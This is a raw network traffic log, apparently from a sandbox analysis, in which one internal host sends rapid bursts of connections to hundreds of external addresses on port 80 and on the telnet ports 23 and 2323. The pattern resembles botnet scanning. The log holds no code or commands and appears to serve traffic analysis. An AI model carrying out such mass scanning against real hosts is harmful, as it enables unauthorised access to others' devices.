Oct 29, 2024 20:52:41.089931011 CET	56350	80	192.168.2.13	88.137.244.67
Oct 29, 2024 20:52:41.089932919 CET	56350	80	192.168.2.13	88.190.196.148
Oct 29, 2024 20:52:41.089934111 CET	56350	80	192.168.2.13	88.137.178.73
Oct 29, 2024 20:52:41.089956045 CET	56350	80	192.168.2.13	88.116.109.56
Oct 29, 2024 20:52:41.089984894 CET	56350	80	192.168.2.13	88.203.217.24
Oct 29, 2024 20:52:41.089996099 CET	56350	80	192.168.2.13	88.202.76.0
Oct 29, 2024 20:52:41.090008974 CET	56350	80	192.168.2.13	88.194.169.183
Oct 29, 2024 20:52:41.090014935 CET	56350	80	192.168.2.13	88.113.175.183
Oct 29, 2024 20:52:41.090023041 CET	56350	80	192.168.2.13	88.234.227.212
Oct 29, 2024 20:52:41.090044975 CET	56350	80	192.168.2.13	88.190.206.110
Oct 29, 2024 20:52:41.090059996 CET	56350	80	192.168.2.13	88.230.135.183
Oct 29, 2024 20:52:41.090071917 CET	56350	80	192.168.2.13	88.231.171.33
Oct 29, 2024 20:52:41.090090990 CET	56350	80	192.168.2.13	88.243.233.25
Oct 29, 2024 20:52:41.090114117 CET	56350	80	192.168.2.13	88.9.132.56
Oct 29, 2024 20:52:41.090128899 CET	56350	80	192.168.2.13	88.156.23.89
Oct 29, 2024 20:52:41.090167999 CET	56350	80	192.168.2.13	88.36.35.11
Oct 29, 2024 20:52:41.090179920 CET	56350	80	192.168.2.13	88.133.91.27
Oct 29, 2024 20:52:41.090190887 CET	56350	80	192.168.2.13	88.32.213.119
Oct 29, 2024 20:52:41.090208054 CET	56350	80	192.168.2.13	88.196.229.17
Oct 29, 2024 20:52:41.090214014 CET	56350	80	192.168.2.13	88.109.1.217
Oct 29, 2024 20:52:41.090236902 CET	56350	80	192.168.2.13	88.99.195.93
Oct 29, 2024 20:52:41.090248108 CET	56350	80	192.168.2.13	88.128.117.1
Oct 29, 2024 20:52:41.090280056 CET	56350	80	192.168.2.13	88.220.77.207
Oct 29, 2024 20:52:41.090282917 CET	56350	80	192.168.2.13	88.252.127.124
Oct 29, 2024 20:52:41.090333939 CET	56350	80	192.168.2.13	88.210.176.54
Oct 29, 2024 20:52:41.090341091 CET	56350	80	192.168.2.13	88.174.195.34
Oct 29, 2024 20:52:41.090347052 CET	56350	80	192.168.2.13	88.181.38.140
Oct 29, 2024 20:52:41.090358973 CET	56350	80	192.168.2.13	88.0.5.252
Oct 29, 2024 20:52:41.090359926 CET	56350	80	192.168.2.13	88.9.19.163
Oct 29, 2024 20:52:41.090377092 CET	56350	80	192.168.2.13	88.64.220.215
Oct 29, 2024 20:52:41.090389967 CET	56350	80	192.168.2.13	88.206.161.195
Oct 29, 2024 20:52:41.090413094 CET	56350	80	192.168.2.13	88.22.101.239
Oct 29, 2024 20:52:41.090418100 CET	56350	80	192.168.2.13	88.145.23.191
Oct 29, 2024 20:52:41.090435028 CET	56350	80	192.168.2.13	88.84.63.202
Oct 29, 2024 20:52:41.090455055 CET	56350	80	192.168.2.13	88.181.130.250
Oct 29, 2024 20:52:41.090457916 CET	56350	80	192.168.2.13	88.232.20.167
Oct 29, 2024 20:52:41.090487003 CET	56350	80	192.168.2.13	88.64.29.20
Oct 29, 2024 20:52:41.090487957 CET	56350	80	192.168.2.13	88.47.92.171
Oct 29, 2024 20:52:41.090498924 CET	56350	80	192.168.2.13	88.145.103.57
Oct 29, 2024 20:52:41.090537071 CET	56350	80	192.168.2.13	88.203.111.49
Oct 29, 2024 20:52:41.090537071 CET	56350	80	192.168.2.13	88.242.197.251
Oct 29, 2024 20:52:41.090550900 CET	56350	80	192.168.2.13	88.216.243.213
Oct 29, 2024 20:52:41.090558052 CET	56350	80	192.168.2.13	88.204.133.166
Oct 29, 2024 20:52:41.090584993 CET	56350	80	192.168.2.13	88.248.201.57
Oct 29, 2024 20:52:41.090598106 CET	56350	80	192.168.2.13	88.12.156.235
Oct 29, 2024 20:52:41.090612888 CET	56350	80	192.168.2.13	88.249.68.76
Oct 29, 2024 20:52:41.090630054 CET	56350	80	192.168.2.13	88.26.229.166
Oct 29, 2024 20:52:41.090662956 CET	56350	80	192.168.2.13	88.184.200.169
Oct 29, 2024 20:52:41.090678930 CET	56350	80	192.168.2.13	88.216.38.53
Oct 29, 2024 20:52:41.090682983 CET	56350	80	192.168.2.13	88.122.218.90
Oct 29, 2024 20:52:41.090702057 CET	56350	80	192.168.2.13	88.209.231.8
Oct 29, 2024 20:52:41.090734959 CET	56350	80	192.168.2.13	88.74.47.154
Oct 29, 2024 20:52:41.090737104 CET	56350	80	192.168.2.13	88.76.157.68
Oct 29, 2024 20:52:41.090749979 CET	56350	80	192.168.2.13	88.188.16.127
Oct 29, 2024 20:52:41.090774059 CET	56350	80	192.168.2.13	88.40.13.196
Oct 29, 2024 20:52:41.090780973 CET	56350	80	192.168.2.13	88.164.182.225
Oct 29, 2024 20:52:41.090796947 CET	56350	80	192.168.2.13	88.78.254.228
Oct 29, 2024 20:52:41.090823889 CET	56350	80	192.168.2.13	88.161.204.210
Oct 29, 2024 20:52:41.090835094 CET	56350	80	192.168.2.13	88.19.98.109
Oct 29, 2024 20:52:41.090842962 CET	56350	80	192.168.2.13	88.156.159.209
Oct 29, 2024 20:52:41.090853930 CET	56350	80	192.168.2.13	88.34.133.142
Oct 29, 2024 20:52:41.090877056 CET	56350	80	192.168.2.13	88.76.120.51
Oct 29, 2024 20:52:41.090898991 CET	56350	80	192.168.2.13	88.178.163.195
Oct 29, 2024 20:52:41.090918064 CET	56350	80	192.168.2.13	88.115.151.175
Oct 29, 2024 20:52:41.090946913 CET	56350	80	192.168.2.13	88.54.59.5
Oct 29, 2024 20:52:41.090962887 CET	56350	80	192.168.2.13	88.20.251.150
Oct 29, 2024 20:52:41.090980053 CET	56350	80	192.168.2.13	88.46.29.78
Oct 29, 2024 20:52:41.090996981 CET	56350	80	192.168.2.13	88.207.198.100
Oct 29, 2024 20:52:41.091008902 CET	56350	80	192.168.2.13	88.216.134.156
Oct 29, 2024 20:52:41.091020107 CET	56350	80	192.168.2.13	88.39.144.84
Oct 29, 2024 20:52:41.091048002 CET	56350	80	192.168.2.13	88.253.34.46
Oct 29, 2024 20:52:41.091064930 CET	56350	80	192.168.2.13	88.250.176.154
Oct 29, 2024 20:52:41.091075897 CET	56350	80	192.168.2.13	88.197.246.32
Oct 29, 2024 20:52:41.091093063 CET	56350	80	192.168.2.13	88.248.44.50
Oct 29, 2024 20:52:41.091104031 CET	56350	80	192.168.2.13	88.100.153.129
Oct 29, 2024 20:52:41.091121912 CET	56350	80	192.168.2.13	88.192.173.90
Oct 29, 2024 20:52:41.091161013 CET	56350	80	192.168.2.13	88.120.110.17
Oct 29, 2024 20:52:41.091187000 CET	56350	80	192.168.2.13	88.158.36.135
Oct 29, 2024 20:52:41.091207027 CET	56350	80	192.168.2.13	88.122.180.60
Oct 29, 2024 20:52:41.091212988 CET	56350	80	192.168.2.13	88.203.176.170
Oct 29, 2024 20:52:41.091217995 CET	56350	80	192.168.2.13	88.1.170.47
Oct 29, 2024 20:52:41.091249943 CET	56350	80	192.168.2.13	88.42.155.17
Oct 29, 2024 20:52:41.091262102 CET	56350	80	192.168.2.13	88.200.173.58
Oct 29, 2024 20:52:41.091264963 CET	56350	80	192.168.2.13	88.26.177.67
Oct 29, 2024 20:52:41.091279984 CET	56350	80	192.168.2.13	88.72.200.197
Oct 29, 2024 20:52:41.091295004 CET	56350	80	192.168.2.13	88.179.85.70
Oct 29, 2024 20:52:41.091324091 CET	56350	80	192.168.2.13	88.234.133.203
Oct 29, 2024 20:52:41.091356039 CET	56350	80	192.168.2.13	88.112.150.41
Oct 29, 2024 20:52:41.091357946 CET	56350	80	192.168.2.13	88.49.190.210
Oct 29, 2024 20:52:41.091377020 CET	56350	80	192.168.2.13	88.217.208.156
Oct 29, 2024 20:52:41.091412067 CET	56350	80	192.168.2.13	88.80.148.108
Oct 29, 2024 20:52:41.091413021 CET	56350	80	192.168.2.13	88.101.238.237
Oct 29, 2024 20:52:41.091420889 CET	56350	80	192.168.2.13	88.165.216.212
Oct 29, 2024 20:52:41.091422081 CET	56350	80	192.168.2.13	88.96.20.190
Oct 29, 2024 20:52:41.091459990 CET	56350	80	192.168.2.13	88.78.208.205
Oct 29, 2024 20:52:41.091474056 CET	56350	80	192.168.2.13	88.89.148.183
Oct 29, 2024 20:52:41.091475010 CET	56350	80	192.168.2.13	88.14.238.4
Oct 29, 2024 20:52:41.091496944 CET	56350	80	192.168.2.13	88.118.113.133
Oct 29, 2024 20:52:41.091500998 CET	56350	80	192.168.2.13	88.24.242.46
Oct 29, 2024 20:52:41.091509104 CET	56350	80	192.168.2.13	88.119.55.206
Oct 29, 2024 20:52:41.091546059 CET	56350	80	192.168.2.13	88.194.126.22
Oct 29, 2024 20:52:41.091550112 CET	56350	80	192.168.2.13	88.161.121.85
Oct 29, 2024 20:52:41.091595888 CET	56350	80	192.168.2.13	88.72.110.71
Oct 29, 2024 20:52:41.091595888 CET	56350	80	192.168.2.13	88.101.100.159
Oct 29, 2024 20:52:41.091598034 CET	56350	80	192.168.2.13	88.107.126.23
Oct 29, 2024 20:52:41.091602087 CET	56350	80	192.168.2.13	88.128.95.244
Oct 29, 2024 20:52:41.091619015 CET	56350	80	192.168.2.13	88.249.58.43
Oct 29, 2024 20:52:41.091640949 CET	56350	80	192.168.2.13	88.133.52.63
Oct 29, 2024 20:52:41.091650963 CET	56350	80	192.168.2.13	88.9.228.214
Oct 29, 2024 20:52:41.091768980 CET	51482	80	192.168.2.13	95.183.176.62
Oct 29, 2024 20:52:41.091784000 CET	60602	80	192.168.2.13	95.172.75.255
Oct 29, 2024 20:52:41.091788054 CET	52274	80	192.168.2.13	95.4.208.126
Oct 29, 2024 20:52:41.091808081 CET	37288	80	192.168.2.13	95.2.21.213
Oct 29, 2024 20:52:41.091814995 CET	41840	80	192.168.2.13	95.77.220.247
Oct 29, 2024 20:52:41.091814995 CET	33674	80	192.168.2.13	95.112.181.195
Oct 29, 2024 20:52:41.091828108 CET	41670	80	192.168.2.13	95.127.127.127
Oct 29, 2024 20:52:41.091834068 CET	53492	80	192.168.2.13	95.192.3.156
Oct 29, 2024 20:52:41.094681025 CET	80	56350	88.246.28.47	192.168.2.13
Oct 29, 2024 20:52:41.094692945 CET	80	56350	88.77.170.86	192.168.2.13
Oct 29, 2024 20:52:41.094702959 CET	80	56350	88.214.103.50	192.168.2.13
Oct 29, 2024 20:52:41.094712973 CET	80	56350	88.0.207.84	192.168.2.13
Oct 29, 2024 20:52:41.094722033 CET	80	56350	88.137.188.153	192.168.2.13
Oct 29, 2024 20:52:41.094732046 CET	80	56350	88.76.89.129	192.168.2.13
Oct 29, 2024 20:52:41.094739914 CET	56350	80	192.168.2.13	88.246.28.47
Oct 29, 2024 20:52:41.094739914 CET	56350	80	192.168.2.13	88.77.170.86
Oct 29, 2024 20:52:41.094747066 CET	56350	80	192.168.2.13	88.214.103.50
Oct 29, 2024 20:52:41.094747066 CET	80	56350	88.97.248.2	192.168.2.13
Oct 29, 2024 20:52:41.094747066 CET	56350	80	192.168.2.13	88.137.188.153
Oct 29, 2024 20:52:41.094763994 CET	56350	80	192.168.2.13	88.0.207.84
Oct 29, 2024 20:52:41.094763994 CET	56350	80	192.168.2.13	88.76.89.129
Oct 29, 2024 20:52:41.094764948 CET	80	56350	88.190.229.159	192.168.2.13
Oct 29, 2024 20:52:41.094778061 CET	80	56350	88.108.18.195	192.168.2.13
Oct 29, 2024 20:52:41.094783068 CET	80	56350	88.116.29.139	192.168.2.13
Oct 29, 2024 20:52:41.094791889 CET	56350	80	192.168.2.13	88.97.248.2
Oct 29, 2024 20:52:41.094794035 CET	80	56350	88.77.87.192	192.168.2.13
Oct 29, 2024 20:52:41.094803095 CET	80	56350	88.192.52.203	192.168.2.13
Oct 29, 2024 20:52:41.094804049 CET	56350	80	192.168.2.13	88.190.229.159
Oct 29, 2024 20:52:41.094813108 CET	56350	80	192.168.2.13	88.108.18.195
Oct 29, 2024 20:52:41.094813108 CET	80	56350	88.70.42.191	192.168.2.13
Oct 29, 2024 20:52:41.094822884 CET	80	56350	88.90.108.220	192.168.2.13
Oct 29, 2024 20:52:41.094827890 CET	56350	80	192.168.2.13	88.116.29.139
Oct 29, 2024 20:52:41.094831944 CET	80	56350	88.204.33.173	192.168.2.13
Oct 29, 2024 20:52:41.094841957 CET	80	56350	88.38.75.104	192.168.2.13
Oct 29, 2024 20:52:41.094854116 CET	80	56350	88.122.25.150	192.168.2.13
Oct 29, 2024 20:52:41.094861984 CET	56350	80	192.168.2.13	88.204.33.173
Oct 29, 2024 20:52:41.094863892 CET	56350	80	192.168.2.13	88.77.87.192
Oct 29, 2024 20:52:41.094863892 CET	56350	80	192.168.2.13	88.90.108.220
Oct 29, 2024 20:52:41.094866037 CET	56350	80	192.168.2.13	88.192.52.203
Oct 29, 2024 20:52:41.094866037 CET	80	56350	88.211.212.242	192.168.2.13
Oct 29, 2024 20:52:41.094866037 CET	56350	80	192.168.2.13	88.70.42.191
Oct 29, 2024 20:52:41.094881058 CET	56350	80	192.168.2.13	88.38.75.104
Oct 29, 2024 20:52:41.094882965 CET	80	56350	88.186.49.214	192.168.2.13
Oct 29, 2024 20:52:41.094897032 CET	56350	80	192.168.2.13	88.122.25.150
Oct 29, 2024 20:52:41.094914913 CET	56350	80	192.168.2.13	88.211.212.242
Oct 29, 2024 20:52:41.094914913 CET	56350	80	192.168.2.13	88.186.49.214
Oct 29, 2024 20:52:41.095179081 CET	80	56350	88.181.26.182	192.168.2.13
Oct 29, 2024 20:52:41.095189095 CET	80	56350	88.240.250.74	192.168.2.13
Oct 29, 2024 20:52:41.095199108 CET	80	56350	88.195.110.232	192.168.2.13
Oct 29, 2024 20:52:41.095207930 CET	80	56350	88.114.209.109	192.168.2.13
Oct 29, 2024 20:52:41.095217943 CET	80	56350	88.28.29.135	192.168.2.13
Oct 29, 2024 20:52:41.095227003 CET	80	56350	88.127.60.41	192.168.2.13
Oct 29, 2024 20:52:41.095227957 CET	56350	80	192.168.2.13	88.240.250.74
Oct 29, 2024 20:52:41.095235109 CET	80	52510	95.185.127.243	192.168.2.13
Oct 29, 2024 20:52:41.095236063 CET	56350	80	192.168.2.13	88.195.110.232
Oct 29, 2024 20:52:41.095242977 CET	56350	80	192.168.2.13	88.114.209.109
Oct 29, 2024 20:52:41.095243931 CET	80	57618	95.106.58.190	192.168.2.13
Oct 29, 2024 20:52:41.095251083 CET	56350	80	192.168.2.13	88.28.29.135
Oct 29, 2024 20:52:41.095251083 CET	56350	80	192.168.2.13	88.127.60.41
Oct 29, 2024 20:52:41.095252991 CET	80	39310	95.126.222.62	192.168.2.13
Oct 29, 2024 20:52:41.095259905 CET	56350	80	192.168.2.13	88.181.26.182
Oct 29, 2024 20:52:41.095262051 CET	80	56350	88.108.248.246	192.168.2.13
Oct 29, 2024 20:52:41.095273018 CET	80	56350	88.145.148.7	192.168.2.13
Oct 29, 2024 20:52:41.095282078 CET	80	56350	88.212.111.218	192.168.2.13
Oct 29, 2024 20:52:41.095299006 CET	80	56350	88.25.200.113	192.168.2.13
Oct 29, 2024 20:52:41.095305920 CET	56350	80	192.168.2.13	88.108.248.246
Oct 29, 2024 20:52:41.095324039 CET	80	56350	88.166.115.35	192.168.2.13
Oct 29, 2024 20:52:41.095334053 CET	80	56350	88.243.237.74	192.168.2.13
Oct 29, 2024 20:52:41.095336914 CET	56350	80	192.168.2.13	88.145.148.7
Oct 29, 2024 20:52:41.095340014 CET	56350	80	192.168.2.13	88.25.200.113
Oct 29, 2024 20:52:41.095344067 CET	80	56350	88.80.163.156	192.168.2.13
Oct 29, 2024 20:52:41.095349073 CET	56350	80	192.168.2.13	88.212.111.218
Oct 29, 2024 20:52:41.095354080 CET	80	56350	88.218.216.56	192.168.2.13
Oct 29, 2024 20:52:41.095356941 CET	56350	80	192.168.2.13	88.166.115.35
Oct 29, 2024 20:52:41.095364094 CET	80	57618	95.106.58.190	192.168.2.13
Oct 29, 2024 20:52:41.095370054 CET	56350	80	192.168.2.13	88.243.237.74
Oct 29, 2024 20:52:41.095376015 CET	80	56350	88.40.67.208	192.168.2.13
Oct 29, 2024 20:52:41.095396042 CET	80	56350	88.71.160.208	192.168.2.13
Oct 29, 2024 20:52:41.095396996 CET	56350	80	192.168.2.13	88.80.163.156
Oct 29, 2024 20:52:41.095397949 CET	56350	80	192.168.2.13	88.218.216.56
Oct 29, 2024 20:52:41.095403910 CET	56350	80	192.168.2.13	88.40.67.208
Oct 29, 2024 20:52:41.095407009 CET	80	56350	88.175.187.125	192.168.2.13
Oct 29, 2024 20:52:41.095407009 CET	57618	80	192.168.2.13	95.106.58.190
Oct 29, 2024 20:52:41.095427990 CET	80	56350	88.212.30.188	192.168.2.13
Oct 29, 2024 20:52:41.095438004 CET	80	56350	88.92.150.117	192.168.2.13
Oct 29, 2024 20:52:41.095446110 CET	56350	80	192.168.2.13	88.71.160.208
Oct 29, 2024 20:52:41.095448017 CET	80	56350	88.11.75.71	192.168.2.13
Oct 29, 2024 20:52:41.095458031 CET	80	56350	88.44.124.248	192.168.2.13
Oct 29, 2024 20:52:41.095463037 CET	56350	80	192.168.2.13	88.212.30.188
Oct 29, 2024 20:52:41.095465899 CET	56350	80	192.168.2.13	88.175.187.125
Oct 29, 2024 20:52:41.095468044 CET	80	56350	88.246.58.9	192.168.2.13
Oct 29, 2024 20:52:41.095479012 CET	80	56350	88.16.232.114	192.168.2.13
Oct 29, 2024 20:52:41.095483065 CET	56350	80	192.168.2.13	88.92.150.117
Oct 29, 2024 20:52:41.095483065 CET	56350	80	192.168.2.13	88.11.75.71
Oct 29, 2024 20:52:41.095488071 CET	80	56350	88.233.210.34	192.168.2.13
Oct 29, 2024 20:52:41.095489025 CET	56350	80	192.168.2.13	88.44.124.248
Oct 29, 2024 20:52:41.095498085 CET	80	56350	88.245.167.70	192.168.2.13
Oct 29, 2024 20:52:41.095504999 CET	56350	80	192.168.2.13	88.246.58.9
Oct 29, 2024 20:52:41.095508099 CET	80	56350	88.132.205.37	192.168.2.13
Oct 29, 2024 20:52:41.095518112 CET	80	56350	88.46.204.142	192.168.2.13
Oct 29, 2024 20:52:41.095526934 CET	56350	80	192.168.2.13	88.16.232.114
Oct 29, 2024 20:52:41.095526934 CET	80	56350	88.131.193.228	192.168.2.13
Oct 29, 2024 20:52:41.095526934 CET	56350	80	192.168.2.13	88.233.210.34
Oct 29, 2024 20:52:41.095545053 CET	80	56350	88.251.68.1	192.168.2.13
Oct 29, 2024 20:52:41.095554113 CET	80	56350	88.7.246.250	192.168.2.13
Oct 29, 2024 20:52:41.095554113 CET	56350	80	192.168.2.13	88.245.167.70
Oct 29, 2024 20:52:41.095554113 CET	56350	80	192.168.2.13	88.132.205.37
Oct 29, 2024 20:52:41.095554113 CET	56350	80	192.168.2.13	88.46.204.142
Oct 29, 2024 20:52:41.095563889 CET	80	56350	88.237.105.170	192.168.2.13
Oct 29, 2024 20:52:41.095570087 CET	56350	80	192.168.2.13	88.131.193.228
Oct 29, 2024 20:52:41.095572948 CET	80	56350	88.143.166.216	192.168.2.13
Oct 29, 2024 20:52:41.095582008 CET	80	56350	88.137.244.67	192.168.2.13
Oct 29, 2024 20:52:41.095591068 CET	56350	80	192.168.2.13	88.251.68.1
Oct 29, 2024 20:52:41.095593929 CET	80	39310	95.126.222.62	192.168.2.13
Oct 29, 2024 20:52:41.095598936 CET	56350	80	192.168.2.13	88.7.246.250
Oct 29, 2024 20:52:41.095601082 CET	56350	80	192.168.2.13	88.237.105.170
Oct 29, 2024 20:52:41.095602989 CET	56350	80	192.168.2.13	88.143.166.216
Oct 29, 2024 20:52:41.095616102 CET	56350	80	192.168.2.13	88.137.244.67
Oct 29, 2024 20:52:41.095638037 CET	39310	80	192.168.2.13	95.126.222.62
Oct 29, 2024 20:52:41.095925093 CET	80	52510	95.185.127.243	192.168.2.13
Oct 29, 2024 20:52:41.095968008 CET	52510	80	192.168.2.13	95.185.127.243
Oct 29, 2024 20:52:41.097201109 CET	80	51482	95.183.176.62	192.168.2.13
Oct 29, 2024 20:52:41.097220898 CET	80	60602	95.172.75.255	192.168.2.13
Oct 29, 2024 20:52:41.097268105 CET	51482	80	192.168.2.13	95.183.176.62
Oct 29, 2024 20:52:41.097270012 CET	60602	80	192.168.2.13	95.172.75.255
Oct 29, 2024 20:52:41.097274065 CET	80	52274	95.4.208.126	192.168.2.13
Oct 29, 2024 20:52:41.097284079 CET	80	37288	95.2.21.213	192.168.2.13
Oct 29, 2024 20:52:41.097292900 CET	80	41840	95.77.220.247	192.168.2.13
Oct 29, 2024 20:52:41.097305059 CET	80	33674	95.112.181.195	192.168.2.13
Oct 29, 2024 20:52:41.097310066 CET	52274	80	192.168.2.13	95.4.208.126
Oct 29, 2024 20:52:41.097313881 CET	80	41670	95.127.127.127	192.168.2.13
Oct 29, 2024 20:52:41.097318888 CET	37288	80	192.168.2.13	95.2.21.213
Oct 29, 2024 20:52:41.097321033 CET	41840	80	192.168.2.13	95.77.220.247
Oct 29, 2024 20:52:41.097322941 CET	80	53492	95.192.3.156	192.168.2.13
Oct 29, 2024 20:52:41.097341061 CET	33674	80	192.168.2.13	95.112.181.195
Oct 29, 2024 20:52:41.097342968 CET	41670	80	192.168.2.13	95.127.127.127
Oct 29, 2024 20:52:41.097388029 CET	53492	80	192.168.2.13	95.192.3.156
Oct 29, 2024 20:52:41.099227905 CET	56326	2323	192.168.2.13	160.19.12.110
Oct 29, 2024 20:52:41.099229097 CET	56326	23	192.168.2.13	203.214.141.52
Oct 29, 2024 20:52:41.099229097 CET	56326	23	192.168.2.13	187.92.41.251
Oct 29, 2024 20:52:41.099230051 CET	56326	23	192.168.2.13	126.145.43.48
Oct 29, 2024 20:52:41.099252939 CET	56326	23	192.168.2.13	199.225.82.94
Oct 29, 2024 20:52:41.099252939 CET	56326	23	192.168.2.13	162.86.111.9
Oct 29, 2024 20:52:41.099268913 CET	56326	23	192.168.2.13	217.218.249.84
Oct 29, 2024 20:52:41.099282026 CET	56326	23	192.168.2.13	197.158.113.15
Oct 29, 2024 20:52:41.099288940 CET	56326	23	192.168.2.13	19.225.57.85
Oct 29, 2024 20:52:41.099289894 CET	56326	2323	192.168.2.13	150.97.171.94
Oct 29, 2024 20:52:41.099291086 CET	56326	23	192.168.2.13	159.11.39.48
Oct 29, 2024 20:52:41.099291086 CET	56326	23	192.168.2.13	114.93.48.233
Oct 29, 2024 20:52:41.099298954 CET	56326	23	192.168.2.13	1.104.104.85
Oct 29, 2024 20:52:41.099333048 CET	56326	23	192.168.2.13	71.29.12.251
Oct 29, 2024 20:52:41.099344015 CET	56326	23	192.168.2.13	152.209.90.237
Oct 29, 2024 20:52:41.099350929 CET	56326	23	192.168.2.13	116.14.36.6
Oct 29, 2024 20:52:41.099365950 CET	56326	23	192.168.2.13	183.172.70.226
Oct 29, 2024 20:52:41.099369049 CET	56326	23	192.168.2.13	153.197.200.151
Oct 29, 2024 20:52:41.099369049 CET	56326	23	192.168.2.13	76.225.149.194
Oct 29, 2024 20:52:41.099387884 CET	56326	2323	192.168.2.13	13.117.24.29
Oct 29, 2024 20:52:41.099392891 CET	56326	23	192.168.2.13	78.248.165.99
Oct 29, 2024 20:52:41.099394083 CET	56326	23	192.168.2.13	52.103.50.107
Oct 29, 2024 20:52:41.099394083 CET	56326	23	192.168.2.13	114.24.44.158
Oct 29, 2024 20:52:41.099406004 CET	56326	23	192.168.2.13	118.44.168.83
Oct 29, 2024 20:52:41.099406958 CET	56326	23	192.168.2.13	180.5.69.248
Oct 29, 2024 20:52:41.099423885 CET	56326	23	192.168.2.13	67.178.117.39
Oct 29, 2024 20:52:41.099425077 CET	56326	23	192.168.2.13	97.49.148.176
Oct 29, 2024 20:52:41.099425077 CET	56326	23	192.168.2.13	84.28.109.234
Oct 29, 2024 20:52:41.099425077 CET	56326	23	192.168.2.13	92.218.172.10
Oct 29, 2024 20:52:41.099440098 CET	56326	23	192.168.2.13	204.79.151.169
Oct 29, 2024 20:52:41.099451065 CET	56326	23	192.168.2.13	192.212.26.175
Oct 29, 2024 20:52:41.099466085 CET	56326	2323	192.168.2.13	164.152.11.106
Oct 29, 2024 20:52:41.099478006 CET	56326	23	192.168.2.13	136.94.92.29
Oct 29, 2024 20:52:41.099482059 CET	56326	23	192.168.2.13	13.45.66.195
Oct 29, 2024 20:52:41.099482059 CET	56326	23	192.168.2.13	59.146.72.79
Oct 29, 2024 20:52:41.099482059 CET	56326	23	192.168.2.13	62.111.144.113
Oct 29, 2024 20:52:41.099484921 CET	56326	23	192.168.2.13	87.234.201.148
Oct 29, 2024 20:52:41.099488020 CET	56326	23	192.168.2.13	140.128.101.11
Oct 29, 2024 20:52:41.099498987 CET	56326	23	192.168.2.13	203.136.175.73
Oct 29, 2024 20:52:41.099508047 CET	56326	2323	192.168.2.13	203.91.150.189
Oct 29, 2024 20:52:41.099514008 CET	56326	23	192.168.2.13	143.55.143.174
Oct 29, 2024 20:52:41.099528074 CET	56326	23	192.168.2.13	68.8.199.122
Oct 29, 2024 20:52:41.099531889 CET	56326	23	192.168.2.13	91.137.225.139
Oct 29, 2024 20:52:41.099534035 CET	56326	23	192.168.2.13	155.199.209.96
Oct 29, 2024 20:52:41.099536896 CET	56326	23	192.168.2.13	85.110.184.190
Oct 29, 2024 20:52:41.099539995 CET	56326	23	192.168.2.13	18.73.18.74
Oct 29, 2024 20:52:41.099555016 CET	56326	23	192.168.2.13	36.14.236.213
Oct 29, 2024 20:52:41.099555969 CET	56326	23	192.168.2.13	8.179.61.53
Oct 29, 2024 20:52:41.099555969 CET	56326	23	192.168.2.13	23.131.178.16
Oct 29, 2024 20:52:41.099575996 CET	56326	23	192.168.2.13	147.228.223.238
Oct 29, 2024 20:52:41.099579096 CET	56326	2323	192.168.2.13	91.51.215.197
Oct 29, 2024 20:52:41.099580050 CET	56326	23	192.168.2.13	54.199.184.128
Oct 29, 2024 20:52:41.099580050 CET	56326	23	192.168.2.13	98.160.239.145
Oct 29, 2024 20:52:41.099591017 CET	56326	23	192.168.2.13	211.251.37.38
Oct 29, 2024 20:52:41.099600077 CET	56326	23	192.168.2.13	43.6.184.95
Oct 29, 2024 20:52:41.099605083 CET	56326	23	192.168.2.13	19.29.245.242
Oct 29, 2024 20:52:41.099605083 CET	56326	23	192.168.2.13	149.225.35.217
Oct 29, 2024 20:52:41.099615097 CET	56326	23	192.168.2.13	200.73.96.240
Oct 29, 2024 20:52:41.099615097 CET	56326	23	192.168.2.13	114.87.179.9
Oct 29, 2024 20:52:41.099631071 CET	56326	23	192.168.2.13	146.253.3.189
Oct 29, 2024 20:52:41.099632025 CET	56326	2323	192.168.2.13	202.119.68.43
Oct 29, 2024 20:52:41.099632025 CET	56326	23	192.168.2.13	212.102.194.147
Oct 29, 2024 20:52:41.099632025 CET	56326	23	192.168.2.13	131.215.81.102
Oct 29, 2024 20:52:41.099633932 CET	56326	23	192.168.2.13	103.36.85.240
Oct 29, 2024 20:52:41.099647045 CET	56326	23	192.168.2.13	83.122.197.96
Oct 29, 2024 20:52:41.099658966 CET	56326	23	192.168.2.13	61.113.76.192
Oct 29, 2024 20:52:41.099658966 CET	56326	23	192.168.2.13	210.195.182.66
Oct 29, 2024 20:52:41.099670887 CET	56326	23	192.168.2.13	203.255.72.131
Oct 29, 2024 20:52:41.099677086 CET	56326	23	192.168.2.13	139.97.46.190
Oct 29, 2024 20:52:41.099682093 CET	56326	23	192.168.2.13	129.54.152.121
Oct 29, 2024 20:52:41.099694967 CET	56326	23	192.168.2.13	27.178.248.165
Oct 29, 2024 20:52:41.099697113 CET	56326	2323	192.168.2.13	193.137.102.173
Oct 29, 2024 20:52:41.099697113 CET	56326	23	192.168.2.13	210.152.28.47
Oct 29, 2024 20:52:41.099697113 CET	56326	23	192.168.2.13	83.172.176.12
Oct 29, 2024 20:52:41.099704027 CET	56326	23	192.168.2.13	141.151.189.22
Oct 29, 2024 20:52:41.099705935 CET	56326	23	192.168.2.13	114.148.77.120
Oct 29, 2024 20:52:41.099706888 CET	56326	23	192.168.2.13	34.202.24.88
Oct 29, 2024 20:52:41.099708080 CET	56326	23	192.168.2.13	31.5.185.14
Oct 29, 2024 20:52:41.099708080 CET	56326	2323	192.168.2.13	72.158.152.2
Oct 29, 2024 20:52:41.099713087 CET	56326	23	192.168.2.13	8.154.198.193
Oct 29, 2024 20:52:41.099719048 CET	56326	23	192.168.2.13	222.67.49.32
Oct 29, 2024 20:52:41.099720955 CET	56326	23	192.168.2.13	222.87.76.53
Oct 29, 2024 20:52:41.099721909 CET	56326	23	192.168.2.13	173.179.194.93
Oct 29, 2024 20:52:41.099721909 CET	56326	23	192.168.2.13	52.75.103.105
Oct 29, 2024 20:52:41.099725962 CET	56326	23	192.168.2.13	128.242.159.16
Oct 29, 2024 20:52:41.099760056 CET	56326	23	192.168.2.13	50.218.170.232
Oct 29, 2024 20:52:41.099761009 CET	56326	23	192.168.2.13	202.171.58.139
Oct 29, 2024 20:52:41.099762917 CET	56326	23	192.168.2.13	78.134.251.64
Oct 29, 2024 20:52:41.099775076 CET	56326	23	192.168.2.13	109.153.50.111
Oct 29, 2024 20:52:41.099776983 CET	56326	23	192.168.2.13	108.142.15.251
Oct 29, 2024 20:52:41.099776983 CET	56326	2323	192.168.2.13	149.112.210.16
Oct 29, 2024 20:52:41.099781036 CET	56326	23	192.168.2.13	105.72.78.135
Oct 29, 2024 20:52:41.099786043 CET	56326	23	192.168.2.13	180.49.123.121
Oct 29, 2024 20:52:41.099788904 CET	56326	23	192.168.2.13	54.122.125.86
